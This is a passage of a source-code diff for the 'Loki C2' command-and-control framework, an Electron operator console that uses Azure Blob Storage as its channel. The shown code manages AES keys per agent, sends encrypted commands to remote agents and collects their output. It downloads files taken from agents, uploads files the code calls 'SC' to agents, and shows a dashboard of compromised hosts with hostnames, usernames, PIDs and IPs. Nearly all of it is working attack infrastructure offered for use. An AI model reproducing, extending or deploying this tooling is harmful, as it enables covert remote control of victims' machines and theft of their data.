throw new Error(`Blob read failed: Empty response from ${StorageBlob}`);
|
||||
}
|
||||
|
||||
return response; // Data is valid, return it
|
||||
} catch (error) {
|
||||
console.error(`Error reading blob ${StorageBlob}:`, error.message);
|
||||
return null; // Return null if an error occurs
|
||||
}
|
||||
}
|
||||
// async function readBlob(StorageContainer, StorageBlob,config)
|
||||
// {
|
||||
// let StorageAccount = config.storageAccount;
|
||||
// let sasToken = config.sasToken;
|
||||
// let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
// const options = {
|
||||
// hostname: StorageAccount,
|
||||
// port: 443,
|
||||
// path: `/${StorageContainer}/${StorageBlob}?${sasToken}`,
|
||||
// method: 'GET',
|
||||
// headers: {
|
||||
// 'x-ms-version': '2020-02-10',
|
||||
// 'x-ms-date': new Date().toUTCString()
|
||||
// }
|
||||
// };
|
||||
|
||||
// return makeRequest(options);
|
||||
// }
|
||||
async function getContainerBlobs(containerName,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
let inputBlob = "";
|
||||
let outputBlob = "";
|
||||
try {
|
||||
// Find and read the "c-" blob
|
||||
const containerClient = blobServiceClient.getContainerClient(containerName);
|
||||
|
||||
for await (const blob of containerClient.listBlobsFlat()) {
|
||||
if (blob.name.startsWith('i-')) {
|
||||
//console.log(`Found ${blob.name}`);
|
||||
inputBlob = blob.name;
|
||||
}
|
||||
if (blob.name.startsWith('o-')) {
|
||||
// console.log(`Found ${blob.name}`);
|
||||
outputBlob = blob.name;
|
||||
}
|
||||
if (blob.name.startsWith('c-')) {
|
||||
// console.log(`Found ${blob.name}`);
|
||||
checkinBlob = blob.name;
|
||||
}
|
||||
if (blob.name.startsWith('k-')) {
|
||||
// console.log(`Found ${blob.name}`);
|
||||
keyBlob = blob.name;
|
||||
}
|
||||
}
|
||||
const blobs = {
|
||||
'key' : keyBlob,
|
||||
'checkin' : checkinBlob,
|
||||
'in' : inputBlob,
|
||||
'out' : outputBlob
|
||||
};
|
||||
return blobs;
|
||||
} catch (error) {
|
||||
//console.error(`Error connecting to container ${containerName}:`, error.message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
async function getContainerAesKeys(containerName,containerKeyBlob,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
try {
|
||||
const containerClient = blobServiceClient.getContainerClient(containerName);
|
||||
|
||||
let kBlobContent;
|
||||
// let cBlobContent;
|
||||
|
||||
// Find and read the "k-" blob
|
||||
// for await (const blob of containerClient.listBlobsFlat()) {
|
||||
// //console.log(`getContainerAesKeys() | blob.name : ${blob.name}`);
|
||||
// logToFile(`getContainerAesKeys() | blob.name : ${blob.name}`);
|
||||
// if (blob.name.startsWith('k-')) {
|
||||
// //console.log(`Found k- blob: ${blob.name}`);
|
||||
// const blockBlobClient = containerClient.getBlockBlobClient(blob.name);
|
||||
// const downloadBlockBlobResponse = await blockBlobClient.download(0);
|
||||
// kBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody);
|
||||
// break;
|
||||
// }
|
||||
// }
|
||||
const blockBlobClient = containerClient.getBlockBlobClient(containerKeyBlob);
|
||||
const downloadBlockBlobResponse = await blockBlobClient.download(0);
|
||||
kBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody);
|
||||
|
||||
|
||||
if (!kBlobContent) {
|
||||
logToFile('getContainerAesKeys() | No blob starting with "k-" found in the container.');
|
||||
return;
|
||||
}
|
||||
|
||||
// Parse JSON values from the k- blob
|
||||
const kBlobJson = JSON.parse(kBlobContent);
|
||||
//console.log('JSON values from k- blob:', kBlobJson);
|
||||
const aes_key = kBlobJson['key']
|
||||
const aes_iv = kBlobJson['iv']
|
||||
//console.log("AES Key :",aes_key);
|
||||
//console.log("AES IV :",aes_iv );
|
||||
|
||||
// Find and read the "c-" blob
|
||||
for await (const blob of containerClient.listBlobsFlat()) {
|
||||
if (blob.name.startsWith('i-')) {
|
||||
//console.log(`Found i- blob: ${blob.name}`);
|
||||
const blockBlobClient = containerClient.getBlockBlobClient(blob.name);
|
||||
const downloadBlockBlobResponse = await blockBlobClient.download(0);
|
||||
cBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
key = {
|
||||
'key':aes_key,
|
||||
'iv':aes_iv
|
||||
}
|
||||
//logToFile(`getContainerAesKeys() | \n\tkey.key : ${key.key}\n\tkey.iv : ${key.iv}`);
|
||||
return key;
|
||||
} catch (error) {
|
||||
logToFile(`getContainerAesKeys() | Error listing blobs in container ${containerName}:`, error.message);
|
||||
}
|
||||
}
|
||||
async function streamToString(readableStream) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const chunks = [];
|
||||
readableStream.on('data', (data) => {
|
||||
chunks.push(data.toString());
|
||||
});
|
||||
readableStream.on('end', () => {
|
||||
resolve(chunks.join(''));
|
||||
});
|
||||
readableStream.on('error', reject);
|
||||
});
|
||||
}
|
||||
async function checkinContainer(containerName, aes, blobs,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
const aes_key_bytes = Buffer.from(aes['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(aes['iv'], 'hex');
|
||||
//console.log(`checkin blob : ${blobs['checkin']}`);
|
||||
const containerClient = blobServiceClient.getContainerClient(containerName);
|
||||
|
||||
try {
|
||||
|
||||
const blockBlobClient = containerClient.getBlockBlobClient(blobs['checkin']);
|
||||
const downloadBlockBlobResponse = await blockBlobClient.download(0);
|
||||
let cBlobContent = await streamToString(downloadBlockBlobResponse.readableStreamBody);
|
||||
encrypted_b64_checkin = cBlobContent;
|
||||
//console.log("Encrypted B64 Checkin Data : ",encrypted_b64_checkin);
|
||||
encrypted_checkin = decodeBase64(encrypted_b64_checkin);
|
||||
//console.log("Encrypted Checkin Data : ",encrypted_checkin);
|
||||
const decrypted_checkin = await aesDecrypt(encrypted_checkin,aes_key_bytes,aes_iv_bytes);
|
||||
//console.log(`${containerName} Checkin Data : \r\n`,decrypted_checkin);
|
||||
if (!cBlobContent) {
|
||||
console.error('No checkin blob content found.');
|
||||
return;
|
||||
}else
|
||||
{
|
||||
return decrypted_checkin;
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(`Error connecting to container ${containerName}:`, error.message);
|
||||
}
|
||||
}
|
||||
async function clearBlob(StorageContainer, StorageBlob,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
const options = {
|
||||
hostname: StorageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10',
|
||||
'x-ms-date': new Date().toUTCString(),
|
||||
'x-ms-blob-type': 'BlockBlob',
|
||||
'Content-Type': 'text/plain',
|
||||
'Content-Length': 0 // Clearing the blob content
|
||||
}
|
||||
};
|
||||
|
||||
return makeRequest(options);
|
||||
}
|
||||
async function uploadCommand(containerCmd,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
const inputblob = containerCommand.blobs['in'];
|
||||
const outputblob = containerCommand.blobs['out'];
|
||||
const containerName = containerCommand.name;
|
||||
console.log(`${inputblob} ${outputblob} ${containerName}`);
|
||||
const encryptedData = await aesEncrypt(containerCommand.cmd,aes_key_bytes,aes_iv_bytes);
|
||||
//console.log(`[+] Encrypted data : ${encryptedData}`);
|
||||
const b64EncData = encodeBase64(encryptedData);
|
||||
// console.log(`[+] Encrypted b64 data : ${b64EncData}`);
|
||||
let response = await UploadBlobToContainer(containerCommand.name,containerCommand.blobs['in'],b64EncData,config);
|
||||
// console.log(`command upload response status : ${response.status}`)
|
||||
let decrypted_out_data;
|
||||
//let waittime = 500;
|
||||
const startTime = Date.now();
|
||||
let currentTime;
|
||||
let elapsed;
|
||||
|
||||
while(true)
|
||||
{
|
||||
let command_output = await readBlob(containerCommand.name,containerCommand.blobs['out'],config);
|
||||
if (command_output === null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
//log(`Read Blob Response : ${JSON.stringify(command_output)}`);
|
||||
// console.log(`Contents of ${outputblob} output blob : ${command_output.data}`);
|
||||
if (command_output['data'])
|
||||
{
|
||||
let encrypted_out_data = decodeBase64(command_output['data']);
|
||||
//console.log("Encrypted Checkin Data : ",encrypted_checkin);
|
||||
decrypted_out_data = await aesDecrypt(encrypted_out_data,aes_key_bytes,aes_iv_bytes);
|
||||
//console.log(decrypted_out_data);
|
||||
await clearBlob(containerName,outputblob,config);
|
||||
break;
|
||||
}
|
||||
//await new Promise(resolve => setTimeout(resolve, 200));
|
||||
currentTime = Date.now();
|
||||
elapsed = (currentTime - startTime)/1000;
|
||||
let waittime = 90;
|
||||
if (containerCommand.cmd.includes("scan "))
|
||||
{
|
||||
waittime = 300;
|
||||
}
|
||||
if(elapsed > waittime)
|
||||
{
|
||||
decrypted_out_data = "No response for command.";
|
||||
break;
|
||||
}
|
||||
}
|
||||
return decrypted_out_data;
|
||||
}
|
||||
async function pullDownloadFile(containerCmd,filename,blob,config)
|
||||
{
|
||||
try{
|
||||
|
||||
log(`azure.js | pullDownloadFile()`);
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
let baseFileName = path.basename(filename);
|
||||
// if (baseFileName.startsWith("'") && baseFileName.endsWith("'")) {
|
||||
// baseFileName = baseFileName.slice(1, -1);
|
||||
// }
|
||||
// if (baseFileName.startsWith('"') && baseFileName.endsWith('"')) {
|
||||
// baseFileName = baseFileName.slice(1, -1);
|
||||
// }
|
||||
// if (baseFileName.endsWith("'") || baseFileName.endsWith('"')) {
|
||||
// return baseFileName.slice(0, -1);
|
||||
// }
|
||||
|
||||
log(`pullDownloadFile() | filename : ${filename}`);
|
||||
log(`pullDownloadFile() | blob : ${blob}`);
|
||||
log(`pullDownloadFile() | command info : ${JSON.stringify(containerCommand)}`);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
let decrypted_out_data;
|
||||
let raw;
|
||||
|
||||
// Ensure the directory exists
|
||||
if (!fs.existsSync(directories.downloadsDir)) {
|
||||
fs.mkdirSync(directories.downloadsDir, { recursive: true });
|
||||
}
|
||||
|
||||
const destPath = path.join(directories.downloadsDir, baseFileName);
|
||||
|
||||
// let destFilename = path.basename(filename);
|
||||
// let destPath = `./downloads/${destFilename}`;
|
||||
|
||||
const url = `https://${StorageAccount}/${containerCommand.name}/${blob}?${sasToken}`;
|
||||
log(`pullDownloadFile() | URL : ${url}`);
|
||||
let buffer;
|
||||
let index = 1;
|
||||
|
||||
while(true)
|
||||
{
|
||||
// let response = await readBlob(containerCommand.name,blob);
|
||||
// //let command_output = await readBlob(containerCommand.name,blob);
|
||||
// console.log(`[+] pullDownloadFile() | Check blob ${blob} for download file`);
|
||||
// if (response.statusCode == 200)
|
||||
// {
|
||||
let response = await fetch(url);
|
||||
if (!response.ok) {
|
||||
log(`pullDownloadFile loop : ${index} | Failed to download file. Sleeping for 3 seconds and trying again. Status: ${response.status} ${response.statusText}`);
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
}else
|
||||
{
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
break;
|
||||
//await fsp.writeFile(downloadPath, buffer);
|
||||
//log('File downloaded and saved successfully.');
|
||||
}
|
||||
index +=1;
|
||||
|
||||
// console.log(`|__ Hit 200 response for download blob ${blob}`);
|
||||
// //let enc_b64_data = Buffer.from(response.data);
|
||||
// console.log(`|__ Encrypted b64 file : ${response.data}`);
|
||||
// //let enc_data = decodeBase64(response.data);
|
||||
// //let encryptedText = Buffer.from(response.data, 'hex');
|
||||
// raw = response.data;
|
||||
|
||||
//raw = aesDecrypt( Buffer.from(encryptedText), aes_key_bytes, aes_iv_bytes );
|
||||
//let encrypted_out_data = decodeBase64(command_output['data']);
|
||||
//console.log("Encrypted Checkin Data : ",encrypted_checkin);
|
||||
// decrypted_out_data = aesDecrypt(command_output['data'],aes_key_bytes,aes_iv_bytes);
|
||||
// await clearBlob(containerName,blob);
|
||||
// }
|
||||
}
|
||||
raw = await aesDecrypt( buffer, aes_key_bytes, aes_iv_bytes );
|
||||
await fsp.writeFile(destPath, raw, (err) => {
|
||||
log(`Error writing file: ${err.stack}`);
|
||||
});
|
||||
log(`File ${destPath} has been saved.`);
|
||||
}catch(error)
|
||||
{
|
||||
log(`pullDownloadFile() Error: ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
async function uploadSCToAzure(containerCmd, StorageBlob, filePath,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
// Read the file content
|
||||
const fileContent = await fsp.readFile(filePath);
|
||||
const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes );
|
||||
const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`;
|
||||
const response = await fetch(sasUrl, {
|
||||
port: 443,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-blob-type': 'BlockBlob',
|
||||
'Content-Type': 'application/octet-stream'
|
||||
},
|
||||
body: enc
|
||||
});
|
||||
log(`response ${response.ok}`);
|
||||
} catch (error) {
|
||||
output = `Error uploading file to azure : ${error.stack}`;
|
||||
log(`azure.js | uploadSCToAzure()\r\nError ${output}`);
|
||||
}
|
||||
}
|
||||
async function uploadFileToAzure(containerCmd, StorageBlob, filePath,config)
|
||||
{
|
||||
let StorageAccount = config.storageAccount;
|
||||
let sasToken = config.sasToken;
|
||||
let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`);
|
||||
|
||||
try {
|
||||
let containerCommand = JSON.parse(containerCmd);
|
||||
const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex');
|
||||
const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex');
|
||||
// Read the file content
|
||||
const fileContent = await fsp.readFile(filePath);
|
||||
const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes );
|
||||
const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`;
|
||||
const response = await fetch(sasUrl, {
|
||||
|
||||
//hostname: config['storageAccount'],
|
||||
port: 443,
|
||||
//path: `/${containerName}/${uploadblob}?${config['SASToken']}`,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-blob-type': 'BlockBlob',
|
||||
'Content-Type': 'application/octet-stream'
|
||||
},
|
||||
body: enc
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
output = `Error uploading file to azure : ${error.stack}`;
|
||||
log(`azure.js | uploadFileToAzure()\r\nError ${output}`);
|
||||
//common.logToFile( output );
|
||||
}
|
||||
}
|
||||
module.exports = {
|
||||
getContainerBlobs,
|
||||
preloadContainers,
|
||||
UploadBlobToContainer,
|
||||
readBlob,
|
||||
listBlobsInContainer,
|
||||
checkinContainer,
|
||||
getContainerAesKeys,
|
||||
uploadCommand,
|
||||
returnAgentCheckinInfo,
|
||||
uploadFileToAzure,
|
||||
uploadSCToAzure,
|
||||
pullDownloadFile,
|
||||
DeleteStorageContainer,
|
||||
DeleteStorageBlob
|
||||
};
|
||||
@@ -0,0 +1,43 @@
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const os = require('os');
|
||||
|
||||
const getAppDataDir = (appName = 'Loki') => {
|
||||
try {
|
||||
const homeDir = os.homedir();
|
||||
if (!homeDir) throw new Error('Could not determine home directory');
|
||||
|
||||
// Define directories
|
||||
const appDataDir = path.join(homeDir, appName);
|
||||
const logDir = path.join(appDataDir, 'log');
|
||||
const downloadsDir = path.join(appDataDir, 'downloads');
|
||||
const configDir = path.join(appDataDir, 'config');
|
||||
const configFilePath = path.join(configDir, 'config.js');
|
||||
|
||||
// Ensure directories exist
|
||||
[appDataDir, logDir, downloadsDir, configDir].forEach((dir) => {
|
||||
if (!fs.existsSync(dir)) {
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
}
|
||||
});
|
||||
|
||||
// Default config content
|
||||
const configContent = `module.exports = {
|
||||
"storageAccount": "{REPLACE}.blob.core.windows.net",
|
||||
"metaContainer": "mfd42094a8e855ed2a70b435",
|
||||
"sasToken": "se=2025-05-11T1..."
|
||||
};`;
|
||||
|
||||
// Create config.js if it doesn't exist
|
||||
if (!fs.existsSync(configFilePath)) {
|
||||
fs.writeFileSync(configFilePath, configContent, { encoding: 'utf8' });
|
||||
}
|
||||
|
||||
return { appDataDir, logDir, downloadsDir, configDir, configFilePath };
|
||||
} catch (error) {
|
||||
console.error(`Error creating app data directories or config file: ${error.message}`);
|
||||
return null;
|
||||
}
|
||||
};
|
||||
|
||||
module.exports = { getAppDataDir };
|
||||
@@ -0,0 +1,55 @@
|
||||
const crypto = require('crypto');
|
||||
|
||||
function generateAESKey()
|
||||
{
|
||||
const key_material = {
|
||||
'key' : crypto.randomBytes(32), // 256-bit key
|
||||
'iv' : crypto.randomBytes(16) // 128-bit IV
|
||||
};
|
||||
return key_material;
|
||||
}
|
||||
|
||||
// Function to AES encrypt data with a static key and IV
|
||||
function aesEncrypt(data,key,iv) {
|
||||
const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let encrypted = "";
|
||||
if ( Buffer.isBuffer( data ) ) {
|
||||
encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
|
||||
}
|
||||
else {
|
||||
encrypted = cipher.update(data, 'utf8', 'hex');
|
||||
encrypted += cipher.final('hex');
|
||||
}
|
||||
return encrypted;
|
||||
}
|
||||
|
||||
function aesDecrypt(encryptedData,key,iv) {
|
||||
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
||||
|
||||
let decrypted = "";
|
||||
if ( Buffer.isBuffer( encryptedData ) ) {
|
||||
decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]);
|
||||
}
|
||||
else {
|
||||
decrypted = decipher.update(encryptedData, 'hex', 'utf8');
|
||||
decrypted += decipher.final('utf8');
|
||||
}
|
||||
return decrypted;
|
||||
}
|
||||
|
||||
function generateUUID(len) {
|
||||
// Generate a random UUID
|
||||
if (len > 20){len = 20};
|
||||
const uuid = crypto.randomUUID();
|
||||
// Remove hyphens and take the first 10 characters
|
||||
const shortUUID = uuid.replace(/-/g, '').substring(0, len);
|
||||
return shortUUID;
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
generateAESKey,
|
||||
aesEncrypt,
|
||||
aesDecrypt,
|
||||
generateUUID
|
||||
};
|
||||
@@ -0,0 +1,114 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>]+++[========> Loki C2 Dashboard <========]+++[</title>
|
||||
<style>
|
||||
|
||||
body {
|
||||
background-image: url('./assets/images/background.png');
|
||||
background-size: contain; /* Fit the image within the element */
|
||||
background-repeat: no-repeat; /* Prevent repeating */
|
||||
background-position: center; /* Center the image */
|
||||
height: 100vh; /* Full viewport height */
|
||||
background-color: #121212;
|
||||
color: #e0e0e0;
|
||||
font-family: 'Arial', sans-serif;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: top;
|
||||
height: 100vh;
|
||||
margin: 0;
|
||||
overflow: hidden; /* Prevent scroll bars */
|
||||
}
|
||||
|
||||
table.vampire-matrix {
|
||||
width: 100%; /* Make the table consume the entire window width */
|
||||
border-collapse: collapse;
|
||||
background-color: #1c1c1c;
|
||||
box-shadow: 0 0 10px rgba(0, 255, 98, 0.5);
|
||||
}
|
||||
|
||||
table.vampire-matrix th,
|
||||
table.vampire-matrix td {
|
||||
border: 1px solid #333;
|
||||
padding: 10px 15px;
|
||||
text-align: left;
|
||||
vertical-align: middle;
|
||||
word-wrap: break-word; /* Ensure content wraps within the cell */
|
||||
}
|
||||
|
||||
table.vampire-matrix thead th {
|
||||
background-color: #333;
|
||||
color: #fff;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr {
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr:hover {
|
||||
background-color: #2a2a2a;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr:nth-child(even) {
|
||||
background-color: #232323;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody tr:nth-child(odd) {
|
||||
background-color: #1a1a1a;
|
||||
}
|
||||
|
||||
table.vampire-matrix td {
|
||||
color: #fff; /* Change text color to white */
|
||||
}
|
||||
|
||||
table.vampire-matrix th {
|
||||
border-bottom: 2px solid #444;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody td:first-child {
|
||||
border-left: 2px solid #444;
|
||||
}
|
||||
|
||||
table.vampire-matrix tbody td:last-child {
|
||||
border-right: 2px solid #444;
|
||||
}
|
||||
|
||||
tr {
|
||||
height: 20px;
|
||||
max-height: 20px; /* Set your desired max-height here */
|
||||
overflow: hidden;
|
||||
}
|
||||
tr > td {
|
||||
max-height: inherit; /* Apply max height to each cell */
|
||||
overflow: hidden; /* Ensure content overflow is hidden in each cell */
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<table id="containerTable" class="vampire-matrix" height="20px">
|
||||
<thead>
|
||||
<tr>
|
||||
<th data-column="agentid">Agent ID <span class="arrow" id="agentidArrow"></span></th>
|
||||
<th data-column="container">Container <span class="arrow" id="containerArrow"></span></th>
|
||||
<th data-column="hostname">Hostname <span class="arrow" id="hostnameArrow"></span></th>
|
||||
<th data-column="username">Username <span class="arrow" id="usernameArrow"></span></th>
|
||||
<th data-column="process">Process <span class="arrow" id="processArrow"></span></th>
|
||||
<th data-column="pid">PID <span class="arrow" id="pidArrow"></span></th>
|
||||
<th data-column="ip">IP <span class="arrow" id="ipArrow"></span></th>
|
||||
<th data-column="arch">Arch <span class="arrow" id="archArrow"></span></th>
|
||||
<th data-column="platform">Platform <span class="arrow" id="platformArrow"></span></th>
|
||||
<th data-column="checkin">Checkin <span class="arrow" id="checkinArrow"></span></th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<!-- Container rows will be added here by renderer.js -->
|
||||
</tbody>
|
||||
</table>
|
||||
<script src="dashboard.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,363 @@
|
||||
const { ipcRenderer } = require('electron');
|
||||
const path = require('path');
|
||||
//const fs = require('fs'); // Use synchronous fs module for createWriteStream
|
||||
const { log } = require('console');
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
const logFile = path.join(directories.downloadsDir, 'dashboard.js.log');
|
||||
let tableinit = false;
|
||||
|
||||
function logMain(message)
|
||||
{
|
||||
const timestamp = new Date().toISOString();
|
||||
//fs.appendFileSync(logFile, `[${timestamp}] ${message}\n`);
|
||||
log(`[${timestamp}] ${message}`);
|
||||
}
|
||||
|
||||
function timeDifference(oldTimestamp) {
|
||||
const now = Date.now();
|
||||
let diff = now - oldTimestamp;
|
||||
|
||||
// Calculate the differences in various units
|
||||
const msInSecond = 1000;
|
||||
const msInMinute = msInSecond * 60;
|
||||
const msInHour = msInMinute * 60;
|
||||
const msInDay = msInHour * 24;
|
||||
|
||||
const days = Math.floor(diff / msInDay);
|
||||
diff %= msInDay;
|
||||
const hours = Math.floor(diff / msInHour);
|
||||
diff %= msInHour;
|
||||
const minutes = Math.floor(diff / msInMinute);
|
||||
diff %= msInMinute;
|
||||
const seconds = Math.floor(diff / msInSecond);
|
||||
|
||||
// Build the result string
|
||||
let result = '';
|
||||
if (days > 0) result += `${days}d, `;
|
||||
if (hours > 0) result += `${hours}h, `;
|
||||
if (minutes > 0) result += `${minutes}m, `;
|
||||
if (seconds > 0 || result === '') result += `${seconds}s`;
|
||||
|
||||
return result.trim().replace(/,\s*$/, ''); // Remove trailing comma and space
|
||||
}
|
||||
|
||||
window.addEventListener('DOMContentLoaded', () => {
|
||||
let sortState = { column: null, order: 'none' };
|
||||
|
||||
document.querySelectorAll('th').forEach(th => {
|
||||
th.addEventListener('click', () => {
|
||||
const column = th.getAttribute('data-column');
|
||||
if (sortState.column === column) {
|
||||
sortState.order = sortState.order === 'none' ? 'asc' : sortState.order === 'asc' ? 'desc' : 'none';
|
||||
} else {
|
||||
sortState.column = column;
|
||||
sortState.order = 'asc';
|
||||
}
|
||||
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
|
||||
updateTableSort();
|
||||
});
|
||||
});
|
||||
|
||||
const table = document.getElementById('containerTable');
|
||||
if (!table) return;
|
||||
|
||||
// **Fix: Remove existing event listener before adding**
|
||||
table.removeEventListener('contextmenu', handleContextMenu);
|
||||
table.addEventListener('contextmenu', handleContextMenu);
|
||||
});
|
||||
|
||||
// **Ensure the event fires only once**
|
||||
function handleContextMenu(event) {
|
||||
event.preventDefault();
|
||||
log("Right-click detected on table row");
|
||||
if(tableinit === true)
|
||||
{
|
||||
let row = event.target.closest("tr");
|
||||
log(`row : ${JSON.stringify(row)}`);
|
||||
if (!row || row.rowIndex === 0) return;
|
||||
|
||||
let agentData = {
|
||||
agentid: row.cells[0]?.textContent || '',
|
||||
containerid: row.cells[1]?.textContent || '',
|
||||
hostname: row.cells[2]?.textContent || '',
|
||||
username: row.cells[3]?.textContent || '',
|
||||
fileName: row.cells[4]?.textContent || '',
|
||||
PID: row.cells[5]?.textContent || '',
|
||||
IP: row.cells[6]?.textContent || '',
|
||||
arch: row.cells[7]?.textContent || '',
|
||||
platform: row.cells[8]?.textContent || ''
|
||||
};
|
||||
log(`agentData : ${JSON.stringify(agentData)}`);
|
||||
|
||||
ipcRenderer.send('show-row-context-menu', JSON.stringify(agentData));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
window.addEventListener('DOMContentLoaded', async () => {
|
||||
//const containerTable = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
let sortState = {
|
||||
column: null,
|
||||
order: 'none' // 'asc', 'desc', 'none'
|
||||
};
|
||||
document.querySelectorAll('th').forEach(th => {
|
||||
th.addEventListener('click', () => {
|
||||
const column = th.getAttribute('data-column');
|
||||
if (sortState.column === column) {
|
||||
if (sortState.order === 'none') {
|
||||
sortState.order = 'asc';
|
||||
} else if (sortState.order === 'asc') {
|
||||
sortState.order = 'desc';
|
||||
} else {
|
||||
sortState.order = 'none';
|
||||
}
|
||||
} else {
|
||||
sortState.column = column;
|
||||
sortState.order = 'asc';
|
||||
}
|
||||
logMain(`${sortState['column']} column sort set to ${sortState['order']}`);
|
||||
updateTableSort();
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
const table = document.getElementById('containerTable');
|
||||
if (!table) return;
|
||||
|
||||
// **Fix: Remove existing event listener before adding**
|
||||
table.removeEventListener('contextmenu', handleContextMenu);
|
||||
log("Adding event listener context menu");
|
||||
table.addEventListener('contextmenu', handleContextMenu);
|
||||
|
||||
async function initTable() {
|
||||
try {
|
||||
//logMain("sent IPC for get-containers");
|
||||
let agentinit = null;
|
||||
while(agentinit == null)
|
||||
{
|
||||
agentinit = await ipcRenderer.invoke('preload-agents');
|
||||
await new Promise(resolve => setTimeout(resolve, 3000));
|
||||
}
|
||||
|
||||
//console.log(`agentinit : ${agentinit}`);
|
||||
let agents = JSON.parse(agentinit);
|
||||
|
||||
agents.forEach(agent => {
|
||||
let thisrow = updateOrAddRow(agent);
|
||||
thisrow.cells[0].textContent = agent.agentid;
|
||||
thisrow.cells[1].textContent = agent.containerid;
|
||||
thisrow.cells[2].textContent = '';
|
||||
thisrow.cells[3].textContent = '';
|
||||
thisrow.cells[4].textContent = '';
|
||||
thisrow.cells[5].textContent = '';
|
||||
thisrow.cells[6].textContent = '';
|
||||
thisrow.cells[7].textContent = '';
|
||||
thisrow.cells[8].textContent = '';
|
||||
});
|
||||
//logMain('Table updated with init agent data');
|
||||
} catch (error) {
|
||||
logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
async function updateTable() {
|
||||
try {
|
||||
let agentcheckins;
|
||||
agentcheckins = await ipcRenderer.invoke('get-containers');
|
||||
//log(`updateTable() : agentcheckins : ${agentcheckins}`);
|
||||
|
||||
const table = document.getElementById('containerTable'); // Ensure this matches your table ID
|
